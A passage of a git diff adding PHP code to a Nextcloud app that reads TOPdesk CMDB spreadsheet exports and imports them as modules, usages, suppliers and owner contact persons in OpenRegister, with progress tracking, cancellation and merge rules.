(self::isUncachedFormula(cell: $cell) === true) { + $uncached[] = $name; + } + } + + $cells[$name] = $value; + if ($value !== null && (is_string($value) === false || trim($value) !== '')) { + $empty = false; + } + } + + return ['cells' => $cells, 'uncached' => $uncached, 'empty' => $empty]; + }//end readRow() + + /** + * One import warning per pack column a sheet lacks, except the ones to skip. + * + * @param string $sheetName The sheet name. + * @param array $mapped The sheet-mapped pack sources. + * @param array $columns The sheet's resolved columns. + * @param array $skip Required columns and the columns the sheet is known to lack. + * + * @return array + */ + private static function missingOptionalColumns(string $sheetName, array $mapped, array $columns, array $skip): array { + $warnings = []; + foreach ($mapped as $column) { + if (in_array($column, $columns, true) === false && in_array($column, $skip, true) === false) { + $warnings[] = ['sheet' => $sheetName, 'column' => $column, 'message' => sprintf('Optional column "%s" not found', $column)]; + } + } + + return $warnings; + }//end missingOptionalColumns() + + /** + * Whether a cell holds a formula without a cached value. + * + * @param object $cell The PhpSpreadsheet cell. + * + * @return bool + */ + private static function isUncachedFormula(object $cell): bool { + return $cell->getDataType() === 'f' && $cell->getOldCalculatedValue() === null; + }//end isUncachedFormula() + + /** + * The stored value of a cell; for a formula, the value Excel cached. + * + * A formula without a cached value, and a formula whose cached value is + * the number 0 (Excel's result for a reference to an empty cell), yield + * null. + * + * @param object $cell The PhpSpreadsheet cell. + * + * @return mixed A scalar or null. + */ + private function cellValue(object $cell): mixed { + $value = $cell->getValue(); + if ($cell->getDataType() === 'f') { + // The value Excel cached; the formula itself is never evaluated. + $value = $cell->getOldCalculatedValue(); + if ((is_int($value) === true || is_float($value) === true) && (float)$value === 0.0) { + return null; + } + } + + if (is_object($value) === true && method_exists($value, 'getPlainText') === true) { + return (string)$value->getPlainText(); + } + + if (is_scalar($value) === false) { + return null; + } + + return $value; + }//end cellValue() + + /** + * The sources of every sheet-mapped pack field. + * + * @param CmdbImportProfile $profile The import profile. + * + * @return array + */ + private function packSources(CmdbImportProfile $profile): array { + $constants = $profile->constantColumns(); + $sources = []; + foreach (CmdbImportProfile::TARGETS as $target) { + if ($target === 'municipality') { + continue; + } + + foreach (($profile->pack(target: $target)['fieldMappings'] ?? []) as $mapping) { + $sources[] = (string)($mapping['source'] ?? ''); + } + } + + return array_values( + array_unique( + array_filter( + $sources, + fn (string $source): bool => $source !== '' && in_array($source, $constants, true) === false + ) + ) + ); + }//end packSources() + + /** + * Column letters to a 1-based index ("A" = 1, "AA" = 27). + * + * @param string $letters The column letters. + * + * @return int + */ + private static function columnIndex(string $letters): int { + $index = 0; + foreach (str_split(strtoupper($letters)) as $char) { + $index = (($index * 26) + (ord($char) - 64)); + } + + return $index; + }//end columnIndex() + + /** + * A 1-based column index to its letters. + * + * @param int $index The column index. + * + * @return string + */ + private static function columnLetters(int $index): string { + $letters = ''; + while ($index > 0) { + $remainder = (($index - 1) % 26); + $letters = chr(65 + $remainder) . $letters; + $index = intdiv(($index - 1), 26); + } + + return $letters; + }//end columnLetters() +}//end class diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php new file mode 100644 index 000000000..793e9b836 --- /dev/null +++ b/lib/Service/CmdbExportImportService.php @@ -0,0 +1,1411 @@ +:`, so a + * second import of a newer export updates the same records. + * + * What each column becomes is declarative: the migration packs under + * `lib/Settings/cmdb-import/`, executed by OpenRegister's + * `MigrationPack\MappingEngine` (ADR-031). This class is the imperative glue + * around the file: reading it, splitting a row over four linked objects, + * resolving contacts, progress and cancel. Every read and write goes through + * OpenRegister's `ObjectServiceInterface` (ADR-022). + * + * Rules stated once and enforced here: + * - A module matches on `externalKey`; a usage on (consumer, module); a + * supplier on its normalised name and type Supplier; a contact person on + * (contactsUid, organization). + * - `publicationDate` is set to the import's start on create and never + * written on update; neither is `depublicationDate`. + * - Records missing from a newer export are left untouched. + * - Owners become contact persons, never Nextcloud user accounts, and no + * report entry or log line carries an owner name or e-mail address. + * + * @category Service + * @package OCA\Stackiq\Service + * @author Conduction b.v. + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service; + +use DateTimeImmutable; +use DateTimeZone; +use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCA\Stackiq\Exception\CmdbImportException; +use OCA\Stackiq\Service\Cmdb\CmdbImportProfile; +use OCA\Stackiq\Service\Cmdb\CmdbImportReport; +use OCA\Stackiq\Service\Cmdb\CmdbRowNormaliser; +use OCA\Stackiq\Service\Cmdb\CmdbWorkbookReader; +use OCP\IL10N; +use Psr\Container\ContainerInterface; +use Psr\Log\LoggerInterface; +use Throwable; + +/** + * Imports a TOPdesk CMDB export for one municipality. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + * + * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) One import run resolves four linked + * object kinds per row (supplier, module, owners, usage), each with its own match rule, + * create-only fields and run cache. Splitting them over several classes would hand the + * same run state from class to class without making any one rule simpler to read. + * @SuppressWarnings(PHPMD.TooManyFields) The run caches are one field per matched kind. + * @SuppressWarnings(PHPMD.CouplingBetweenObjects) Reader, normaliser, profile, report, + * contacts, progress and OpenRegister are the import's collaborators by design. + * @SuppressWarnings(PHPMD.TooManyMethods) Each match rule and each step of a row is its own + * small method; merging them back would only make the steps longer. + * @SuppressWarnings(PHPMD.ExcessiveClassLength) Most of the length is docblocks that state + * the matching rules; the code itself is under the threshold. + */ +class CmdbExportImportService { + /** + * The ProgressTracker operation type of an import. + */ + public const OPERATION_TYPE = 'cmdb_import'; + + /** + * Operation ids a client may choose; anything else gets a generated id. + */ + public const OPERATION_ID_PATTERN = '/^cmdb-[A-Za-z0-9-]{8,64}$/'; + + /** + * OpenRegister's migration-pack mapping engine (not a public contract). + */ + public const ENGINE_CLASS = 'OCA\OpenRegister\Service\MigrationPack\MappingEngine'; + + /** + * Page size for loading the organisations a name may match. + */ + private const PAGE_SIZE = 500; + + /** + * Separator of the concat mapping for the internal note. + */ + private const NOTE_SEPARATOR = ' / '; + + /** + * The mapping engine of the current run. + * + * @var object|null + */ + private ?object $engine = null; + + /** + * OpenRegister and the register/schema ids of the current run. + * + * @var array{objectService: ObjectServiceInterface, register: int, module: int, organization: int, usage: int, contactPerson: int}|null + */ + private ?array $coordinates = null; + + /** + * Suppliers by normalised name, loaded once per run. + * + * @var array|null + */ + private ?array $suppliers = null; + + /** + * APPIDs seen in this upload. + * + * @var array + */ + private array $seenKeys = []; + + /** + * Contact UIDs by e-mail or display name, per run. + * + * @var array + */ + private array $contactUids = []; + + /** + * Contact person uuids by contactsUid and organisation, per run. + * + * @var array + */ + private array $contactPersons = []; + + /** + * Constructor. + * + * @param ContainerInterface $container Resolves OpenRegister services. + * @param SettingsService $settingsService Register and schema ids. + * @param StackiqContactSyncService $contactSync Nextcloud Contacts bridge. + * @param ProgressTracker $progressTracker Progress and cancel. + * @param CmdbImportProfile $profile The import profile and packs. + * @param CmdbWorkbookReader $reader The xlsx reader. + * @param CmdbRowNormaliser $normaliser Dates and ids to strings. + * @param IL10N $l10n Translates report reasons and warnings. + * @param LoggerInterface $logger Logger; never handed person data. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function __construct( + private readonly ContainerInterface $container, + private readonly SettingsService $settingsService, + private readonly StackiqContactSyncService $contactSync, + private readonly ProgressTracker $progressTracker, + private readonly CmdbImportProfile $profile, + private readonly CmdbWorkbookReader $reader, + private readonly CmdbRowNormaliser $normaliser, + private readonly IL10N $l10n, + private readonly LoggerInterface $logger, + ) { + }//end __construct() + + /** + * The upload limit in bytes (the profile's `maxFileBytes`). + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + public function maxFileBytes(): int { + return $this->profile->maxFileBytes(); + }//end maxFileBytes() + + /** + * Check that an upload is an xlsx workbook, without parsing it. + * + * @param string $path The uploaded temporary file. + * @param string $fileName The original file name. + * + * @return void + * + * @throws CmdbImportException NOT_XLSX. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + public function assertXlsx(string $path, string $fileName): void { + $this->reader->assertXlsx(path: $path, fileName: $fileName); + }//end assertXlsx() + + /** + * Whether a `missingRecords` value is supported (only `keep`). + * + * @param string $mode The requested value. + * + * @return bool + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + public function supportsMissingRecords(string $mode): bool { + return $mode === 'keep'; + }//end supportsMissingRecords() + + /** + * Ask a running import to stop between rows. + * + * @param string $operationId The operation id. + * + * @return bool False when no `cmdb_import` operation has this id. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function requestCancel(string $operationId): bool { + if (preg_match(self::OPERATION_ID_PATTERN, $operationId) !== 1) { + return false; + } + + $progress = $this->progressTracker->getProgress(operationId: $operationId); + if (is_array($progress) === false || ($progress['operation_type'] ?? null) !== self::OPERATION_TYPE) { + return false; + } + + $this->progressTracker->setCancelRequested(operationId: $operationId); + return true; + }//end requestCancel() + + /** + * Import an export for one municipality. + * + * Validation that can fail the whole import runs before any object is + * written: the packs and the engine, the configuration, the workbook and + * the municipality uuid. After that every row is processed in its own + * error boundary. + * + * @param string $path The xlsx file, already checked by assertXlsx(). + * @param array $options municipalityUuid, municipalityName, updateExisting, operationId. + * + * @return array The report (contract.md). + * + * @throws CmdbImportException MAPPING_UNAVAILABLE, NOT_CONFIGURED, READER_UNAVAILABLE, NOT_XLSX, + * NO_SOURCE_SHEET, MISSING_COLUMN, TOO_MANY_ROWS, MUNICIPALITY_REQUIRED + * or MUNICIPALITY_INVALID. + * @throws \Exception An unexpected OpenRegister error outside a row, such as + * creating the municipality; rows catch their own. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function import(string $path, array $options): array { + $this->resetRun(); + $startedAt = (new DateTimeImmutable('now', new DateTimeZone('UTC')))->format(DATE_ATOM); + + $this->profile->load(); + $this->engine = $this->resolveEngine(); + $this->coordinates = $this->resolveCoordinates(); + + $workbook = $this->reader->read(path: $path, profile: $this->profile); + $municipality = $this->resolveMunicipality(options: $options); + + $operationId = $this->operationIdFrom(options: $options); + $rows = $workbook['rows']; + $report = new CmdbImportReport(operationId: $operationId, rowsRead: count($rows)); + $report->setMunicipality(uuid: $municipality['uuid'], name: $municipality['name'], created: $municipality['created']); + $report->addImportWarnings(warnings: $this->translateImportWarnings(warnings: $workbook['importWarnings'])); + + $this->progressTracker->startOperation( + operationType: self::OPERATION_TYPE, + options: ['total_items' => count($rows)], + operationId: $operationId + ); + $this->progressTracker->setPhase(phase: 'processing_elements', data: ['total_items' => count($rows)]); + + $updateExisting = (($options['updateExisting'] ?? true) !== false); + foreach ($rows as $index => $row) { + if ($this->progressTracker->isCancelRequested(operationId: $operationId) === true) { + $report->markCancelled(); + break; + } + + $this->processRow( + row: $row, + municipalityUuid: $municipality['uuid'], + updateExisting: $updateExisting, + startedAt: $startedAt, + date1904: $workbook['date1904'], + report: $report + ); + $this->progressTracker->updateProgress(processedItems: ($index + 1)); + } + + $result = $report->toArray(); + $this->finishOperation(report: $result); + + $this->logger->info( + 'CmdbExportImportService: import finished', + ['operationId' => $operationId, 'summary' => $result['summary'], 'cancelled' => $result['cancelled']] + ); + + return $result; + }//end import() + + /** + * Process one row in its own error boundary and add its outcome. + * + * @param array{sheet: string, row: int, cells: array, uncached?: array} $row The reader row. + * @param string $municipalityUuid The consumer. + * @param bool $updateExisting Whether matched rows are updated. + * @param string $startedAt ISO start time of the import. + * @param bool $date1904 The workbook's date system. + * @param CmdbImportReport $report The report. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function processRow( + array $row, + string $municipalityUuid, + bool $updateExisting, + string $startedAt, + bool $date1904, + CmdbImportReport $report, + ): void { + $sheet = $row['sheet']; + $values = $this->normaliser->normalise( + cells: array_merge($row['cells'], $this->profile->sheetConstants(sheetName: $sheet)), + dateColumns: $this->profile->dateColumns(), + idColumns: $this->profile->idColumns(), + date1904: $date1904, + emptyValues: $this->profile->emptyValues() + ); + $rowNumber = $row['row']; + $appId = ($values[$this->profile->keyColumn()] ?? ''); + $name = ($values[$this->profile->nameColumn()] ?? ''); + + $entry = ['sheet' => $sheet, 'row' => $rowNumber, 'appId' => $appId, 'name' => $name]; + + $warnings = []; + foreach (($row['uncached'] ?? []) as $column) { + $warnings[] = $this->l10n->t('Column "%s": formula without a cached value, read as empty', [(string)$column]); + } + + $skipReason = $this->skipReason(appId: $appId); + if ($skipReason !== null) { + $this->addRow(report: $report, entry: $entry, outcome: CmdbImportReport::SKIPPED, reasons: [$skipReason], warnings: $warnings); + return; + } + + $step = 'mapping'; + $moduleUuid = null; + $usageUuid = null; + + try { + $module = $this->map(target: 'module', values: $values, rowNumber: $rowNumber, warnings: $warnings); + if ($module['missing'] !== []) { + $reasons = array_map(fn (string $column): string => $this->l10n->t('missing %s', [$column]), $module['missing']); + $this->addRow(report: $report, entry: $entry, outcome: CmdbImportReport::SKIPPED, reasons: $reasons, warnings: $warnings); + return; + } + + $step = 'manufacturer'; + $providerUuid = $this->resolveManufacturer(values: $values, rowNumber: $rowNumber); + + $step = 'module'; + $externalKey = $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $appId; + $moduleResult = $this->upsertModule( + data: $module['data'], + externalKey: $externalKey, + providerUuid: $providerUuid, + startedAt: $startedAt, + updateExisting: $updateExisting + ); + $moduleUuid = $moduleResult['uuid']; + if ($moduleResult['outcome'] === 'exists') { + $this->addRow( + report: $report, + entry: $entry, + outcome: CmdbImportReport::SKIPPED, + reasons: [$this->l10n->t('exists')], + warnings: $warnings, + moduleUuid: $moduleUuid + ); + return; + } + + $step = 'owners'; + $owners = $this->resolveOwners(values: $values, rowNumber: $rowNumber, municipalityUuid: $municipalityUuid, warnings: $warnings); + + $step = 'usage'; + $usage = $this->map(target: 'usage', values: $values, rowNumber: $rowNumber, warnings: $warnings); + $usageResult = $this->upsertUsage( + data: $usage['data'], + municipalityUuid: $municipalityUuid, + moduleUuid: $moduleUuid, + providerUuid: $providerUuid, + owners: $owners + ); + $usageUuid = $usageResult['uuid']; + } catch (Throwable $e) { + $this->failRow(report: $report, entry: $entry, step: $step, e: $e, warnings: $warnings, uuids: [$moduleUuid, $usageUuid]); + return; + }//end try + + $outcome = self::rowOutcome(module: $moduleResult['outcome'], usage: $usageResult['outcome']); + $this->addRow(report: $report, entry: $entry, outcome: $outcome, warnings: $warnings, moduleUuid: $moduleUuid, usageUuid: $usageUuid); + }//end processRow() + + /** + * Report a row as failed at a step, and log it without person data. + * + * @param CmdbImportReport $report The report. + * @param array{sheet: string, row: int, appId: string, name: string} $entry Where the row is. + * @param string $step The step that failed. + * @param Throwable $e The cause. + * @param array $warnings Row warnings so far. + * @param array{0: string|null, 1: string|null} $uuids Module and usage, when saved. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function failRow(CmdbImportReport $report, array $entry, string $step, Throwable $e, array $warnings, array $uuids): void { + $detail = $this->safeMessage(step: $step, e: $e); + $this->logger->warning( + 'CmdbExportImportService: row failed', + array_merge( + ['sheet' => $entry['sheet'], 'row' => $entry['row'], 'appId' => $entry['appId']], + ['step' => $step, 'exception' => get_class($e), 'error' => $detail] + ) + ); + + $reason = $this->l10n->t('step "%s" failed', [$step]); + if ($detail !== '') { + $reason = $this->l10n->t('step "%1$s" failed: %2$s', [$step, $detail]); + } + + $this->addRow( + report: $report, + entry: $entry, + outcome: CmdbImportReport::FAILED, + reasons: [$reason], + warnings: $warnings, + moduleUuid: $uuids[0], + usageUuid: $uuids[1] + ); + }//end failRow() + + /** + * Translate the reader's import-level warnings. + * + * @param array $warnings The reader warnings. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function translateImportWarnings(array $warnings): array { + $translated = []; + foreach ($warnings as $warning) { + $message = $warning['message']; + if (isset($warning['column']) === true) { + $message = $this->l10n->t('Optional column "%s" not found', [$warning['column']]); + } + + $translated[] = ['sheet' => $warning['sheet'], 'message' => $message]; + } + + return $translated; + }//end translateImportWarnings() + + /** + * The row outcome from the module and usage outcomes. + * + * @param string $module The module outcome. + * @param string $usage The usage outcome. + * + * @return string created when the module was created, updated when anything was saved, else unchanged. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private static function rowOutcome(string $module, string $usage): string { + if ($module === CmdbImportReport::CREATED) { + return CmdbImportReport::CREATED; + } + + if ($module !== CmdbImportReport::UNCHANGED || $usage !== CmdbImportReport::UNCHANGED) { + return CmdbImportReport::UPDATED; + } + + return CmdbImportReport::UNCHANGED; + }//end rowOutcome() + + /** + * Store the report with the operation and close it, as completed or cancelled. + * + * @param array $report The report. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function finishOperation(array $report): void { + if ($report['cancelled'] === true) { + $this->progressTracker->updateStatistics(statistics: ['report' => $report]); + $this->progressTracker->cancelOperation(); + return; + } + + $this->progressTracker->completeOperation(finalStatistics: ['report' => $report]); + }//end finishOperation() + + /** + * Add a row outcome to the report. + * + * @param CmdbImportReport $report The report. + * @param array{sheet: string, row: int, appId: string, name: string} $entry Where the row is. + * @param string $outcome The outcome. + * @param array $reasons Reasons. + * @param array $warnings Warnings. + * @param string|null $moduleUuid The module. + * @param string|null $usageUuid The usage. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function addRow( + CmdbImportReport $report, + array $entry, + string $outcome, + array $reasons = [], + array $warnings = [], + ?string $moduleUuid = null, + ?string $usageUuid = null, + ): void { + $report->addRow( + sheet: $entry['sheet'], + row: $entry['row'], + appId: $entry['appId'], + name: $entry['name'], + outcome: $outcome, + reasons: $reasons, + warnings: $warnings, + moduleUuid: $moduleUuid, + usageUuid: $usageUuid + ); + }//end addRow() + + /** + * Why a row is skipped before mapping, or null when it is imported. + * + * An APPID seen earlier in the same upload, on either sheet, is a duplicate. + * + * @param string $appId The APPID. + * + * @return string|null + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function skipReason(string $appId): ?string { + if ($appId === '') { + return $this->l10n->t('missing %s', [$this->profile->keyColumn()]); + } + + if (isset($this->seenKeys[$appId]) === true) { + return $this->l10n->t('duplicate %s in file', [$this->profile->keyColumn()]); + } + + $this->seenKeys[$appId] = true; + + return null; + }//end skipReason() + + /** + * Map a row through a target's pack. + * + * Errors on required mappings are returned as missing columns. Other + * errors drop the field and become a warning naming the column and the + * value, except for the owner and manufacturer packs, whose errors are + * silent: such a row simply has no owner or no manufacturer. + * + * @param string $target The pack target. + * @param array $values The normalised row. + * @param int $rowNumber The sheet row number, for the engine's errors. + * @param array $warnings Row warnings, appended to. + * + * @return array{data: array, missing: array} + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function map(string $target, array $values, int $rowNumber, array &$warnings): array { + $pack = $this->profile->pack(target: $target); + $result = $this->engine->mapRow($pack, $values, $rowNumber); + + $required = []; + foreach (($pack['fieldMappings'] ?? []) as $mapping) { + if (($mapping['required'] ?? false) === true) { + $required[] = (string)($mapping['source'] ?? ''); + } + } + + $silent = in_array($target, ['manufacturer', 'businessOwner', 'municipality'], true); + $missing = []; + foreach (($result['errors'] ?? []) as $error) { + $source = (string)($error['source'] ?? ''); + if (in_array($source, $required, true) === true) { + $missing[] = $source; + continue; + } + + if ($silent === false) { + $warnings[] = $this->l10n->t('Column "%1$s": %2$s', [$source, (string)($error['message'] ?? '')]); + } + } + + $data = ($result['data'] ?? []); + unset($data['id']); + + return ['data' => $data, 'missing' => array_values(array_unique($missing))]; + }//end map() + + /** + * Find or create the Supplier organisation for the row's manufacturer. + * + * @param array $values The normalised row. + * @param int $rowNumber The sheet row number. + * + * @return string|null The supplier uuid, or null when the row names no manufacturer. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function resolveManufacturer(array $values, int $rowNumber): ?string { + $warnings = []; + $mapped = $this->map(target: 'manufacturer', values: $values, rowNumber: $rowNumber, warnings: $warnings); + $name = trim((string)($mapped['data']['name'] ?? '')); + if ($mapped['missing'] !== [] || $name === '') { + return null; + } + + $key = self::normaliseName(name: $name); + $suppliers = $this->suppliers(); + if (isset($suppliers[$key]) === true) { + return $suppliers[$key]; + } + + $data = $mapped['data']; + $data['name'] = (string)preg_replace('/\s+/u', ' ', $name); + $uuid = $this->save(schemaKey: 'organization', data: $data, uuid: null); + $this->suppliers[$key] = $uuid; + + return $uuid; + }//end resolveManufacturer() + + /** + * Create, update, or leave the module matched on its external key. + * + * @param array $data The mapped module fields. + * @param string $externalKey The match key. + * @param string|null $providerUuid The supplier, when there is one. + * @param string $startedAt ISO start time of the import. + * @param bool $updateExisting Whether a match is updated. + * + * @return array{uuid: string, outcome: string} Outcome created, updated, unchanged or exists. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function upsertModule(array $data, string $externalKey, ?string $providerUuid, string $startedAt, bool $updateExisting): array { + $data['externalKey'] = $externalKey; + if ($providerUuid !== null) { + $data['provider'] = $providerUuid; + } + + $existing = $this->findOne(schemaKey: 'module', filters: ['externalKey' => $externalKey]); + if ($existing === null) { + $create = array_merge($this->profile->createOnlyDefaults(target: 'module'), $data); + $create['publicationDate'] = $startedAt; + return ['uuid' => $this->save(schemaKey: 'module', data: $create, uuid: null), 'outcome' => CmdbImportReport::CREATED]; + } + + $uuid = (string)$existing->getUuid(); + if ($updateExisting === false) { + return ['uuid' => $uuid, 'outcome' => 'exists']; + } + + $merged = $this->merge(target: 'module', stored: $existing->getObject(), mapped: $data); + if ($merged === null) { + return ['uuid' => $uuid, 'outcome' => CmdbImportReport::UNCHANGED]; + } + + $this->save(schemaKey: 'module', data: $merged, uuid: $uuid); + return ['uuid' => $uuid, 'outcome' => CmdbImportReport::UPDATED]; + }//end upsertModule() + + /** + * Create, update, or leave the usage of the module for the municipality. + * + * @param array $data The mapped usage fields. + * @param string $municipalityUuid The consumer. + * @param string $moduleUuid The module. + * @param string|null $providerUuid The supplier, when there is one. + * @param array{businessOwner: string|null} $owners The owner contact person. + * + * @return array{uuid: string, outcome: string} + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function upsertUsage(array $data, string $municipalityUuid, string $moduleUuid, ?string $providerUuid, array $owners): array { + if (isset($data['interneAnnotation']) === true && is_string($data['interneAnnotation']) === true) { + // The concat mapping leaves an empty part for every empty column; drop those. + $parts = array_filter( + array_map('trim', explode(self::NOTE_SEPARATOR, $data['interneAnnotation'])), + fn (string $part): bool => $part !== '' + ); + $data['interneAnnotation'] = implode(self::NOTE_SEPARATOR, $parts); + } + + $data['consumer'] = $municipalityUuid; + $data['module'] = $moduleUuid; + if ($providerUuid !== null) { + $data['provider'] = $providerUuid; + } + + foreach ($owners as $field => $contactPersonUuid) { + if ($contactPersonUuid !== null) { + $data[$field] = $contactPersonUuid; + } + } + + $existing = $this->findOne(schemaKey: 'usage', filters: ['consumer' => $municipalityUuid, 'module' => $moduleUuid]); + if ($existing === null) { + return ['uuid' => $this->save(schemaKey: 'usage', data: $data, uuid: null), 'outcome' => CmdbImportReport::CREATED]; + } + + $uuid = (string)$existing->getUuid(); + $merged = $this->merge(target: 'usage', stored: $existing->getObject(), mapped: $data); + if ($merged === null) { + return ['uuid' => $uuid, 'outcome' => CmdbImportReport::UNCHANGED]; + } + + $this->save(schemaKey: 'usage', data: $merged, uuid: $uuid); + return ['uuid' => $uuid, 'outcome' => CmdbImportReport::UPDATED]; + }//end upsertUsage() + + /** + * Merge mapped fields onto a stored object. + * + * Fields the pack does not map stay as they are. Create-only fields are + * written only when the stored value is empty; never-written fields are + * never touched. + * + * @param string $target The profile target. + * @param array $stored The stored object data. + * @param array $mapped The mapped fields. + * + * @return array|null The merged object, or null when nothing changes. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function merge(string $target, array $stored, array $mapped): ?array { + $createOnly = $this->profile->createOnlyFields(target: $target); + $never = $this->profile->neverWrittenOnUpdate(target: $target); + $merged = $stored; + unset($merged['@self']); + $changed = false; + + foreach ($mapped as $field => $value) { + if (in_array($field, $never, true) === true) { + continue; + } + + $current = ($stored[$field] ?? null); + if (in_array($field, $createOnly, true) === true && self::isEmptyValue(value: $current) === false) { + continue; + } + + if (self::sameValue(stored: $current, value: $value) === true) { + continue; + } + + $merged[$field] = $value; + $changed = true; + } + + if ($changed === false) { + return null; + } + + return $merged; + }//end merge() + + /** + * Resolve the owner of a row (Applicatie Eigenaar) as the usage's business owner. + * + * No technical owner is read: the functional administrator columns are + * not part of the mapping. + * + * @param array $values The normalised row. + * @param int $rowNumber The sheet row number. + * @param string $municipalityUuid The municipality the contact person belongs to. + * @param array $warnings Row warnings, appended to. + * + * @return array{businessOwner: string|null} + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + private function resolveOwners(array $values, int $rowNumber, string $municipalityUuid, array &$warnings): array { + $owners = ['businessOwner' => null]; + $identities = []; + foreach (array_keys($owners) as $target) { + $silent = []; + $mapped = $this->map(target: $target, values: $values, rowNumber: $rowNumber, warnings: $silent); + $name = trim((string)($mapped['data']['name'] ?? '')); + if ($mapped['missing'] === [] && $name !== '') { + $identities[$target] = $mapped['data']; + } + } + + if ($identities === []) { + return $owners; + } + + if ($this->contactSync->isAvailable() === false) { + $warnings[] = $this->l10n->t('Owners skipped: Nextcloud Contacts is unavailable'); + return $owners; + } + + foreach ($identities as $target => $identity) { + $column = $this->ownerColumn(target: $target); + try { + $contactsUid = $this->resolveContactUid(identity: $identity); + if ($contactsUid === null) { + $warnings[] = $this->l10n->t('Owner from column "%s" could not be resolved in Nextcloud Contacts', [$column]); + continue; + } + + $owners[$target] = $this->resolveContactPerson( + contactsUid: $contactsUid, + municipalityUuid: $municipalityUuid, + role: trim((string)($identity['role'] ?? '')) + ); + } catch (Throwable $e) { + $this->logger->warning( + 'CmdbExportImportService: owner could not be resolved', + ['row' => $rowNumber, 'column' => $column, 'exception' => get_class($e)] + ); + $warnings[] = $this->l10n->t('Owner from column "%s" could not be resolved', [$column]); + } + }//end foreach + + return $owners; + }//end resolveOwners() + + /** + * Resolve the Nextcloud contact of an owner identity. + * + * With an e-mail address, StackiqContactSyncService matches on it or + * creates the contact. Without one, only a contact whose display name is + * exactly the owner's name (case-insensitive) is reused, so an owner + * known by name alone is not created again on every import. + * + * @param array $identity name, email and role from the owner pack. + * + * @return string|null The contact UID, or null. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + private function resolveContactUid(array $identity): ?string { + $parts = self::splitPersonName(name: (string)$identity['name']); + $displayName = trim($parts['voornaam'] . ' ' . $parts['achternaam']); + $email = trim((string)($identity['email'] ?? '')); + + $cacheKey = 'name:' . mb_strtolower($displayName); + if ($email !== '') { + $cacheKey = 'email:' . mb_strtolower($email); + } + + if (array_key_exists($cacheKey, $this->contactUids) === true) { + return $this->contactUids[$cacheKey]; + } + + $uid = null; + if ($email === '') { + $uid = $this->contactByDisplayName(displayName: $displayName); + } + + if ($uid === null) { + $record = ['voornaam' => $parts['voornaam'], 'achternaam' => $parts['achternaam']]; + if ($email !== '') { + $record['email'] = $email; + } + + $role = trim((string)($identity['role'] ?? '')); + if ($role !== '') { + $record['role'] = $role; + } + + $uid = $this->contactSync->syncToContacts(objectType: 'contactPerson', record: $record); + if ($uid === '') { + $uid = null; + } + } + + $this->contactUids[$cacheKey] = $uid; + return $uid; + }//end resolveContactUid() + + /** + * The contact whose display name is exactly this one, case-insensitive. + * + * @param string $displayName The display name. + * + * @return string|null The contact UID, or null. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + private function contactByDisplayName(string $displayName): ?string { + $needle = mb_strtolower($displayName); + foreach ($this->contactSync->searchContacts(query: $displayName) as $contact) { + if (mb_strtolower(trim((string)($contact['name'] ?? ''))) === $needle) { + return (string)$contact['uid']; + } + } + + return null; + }//end contactByDisplayName() + + /** + * Find or create the contact person of a contact for the municipality. + * + * The object carries only `contactsUid`, `organization` and `role`: no + * e-mail and no username, so neither the contact-person listener nor + * OrganizationSyncService::performUserSync() provisions a user for it. + * + * @param string $contactsUid The Nextcloud contact UID. + * @param string $municipalityUuid The organisation. + * @param string $role The owner's function, or ''. + * + * @return string The contact person uuid. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + private function resolveContactPerson(string $contactsUid, string $municipalityUuid, string $role): string { + $cacheKey = $contactsUid . '|' . $municipalityUuid; + if (isset($this->contactPersons[$cacheKey]) === true) { + return $this->contactPersons[$cacheKey]; + } + + $existing = $this->findOne(schemaKey: 'contactPerson', filters: ['contactsUid' => $contactsUid, 'organization' => $municipalityUuid]); + $data = ['contactsUid' => $contactsUid, 'organization' => $municipalityUuid]; + if ($role !== '') { + $data['role'] = $role; + } + + $uuid = (string)$existing?->getUuid(); + if ($existing === null) { + $uuid = $this->save(schemaKey: 'contactPerson', data: $data, uuid: null); + } + + $this->contactPersons[$cacheKey] = $uuid; + return $uuid; + }//end resolveContactPerson() + + /** + * Resolve the consuming municipality from the options. + * + * @param array $options municipalityUuid or municipalityName. + * + * @return array{uuid: string, name: string, created: bool} + * + * @throws CmdbImportException MUNICIPALITY_REQUIRED or MUNICIPALITY_INVALID. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function 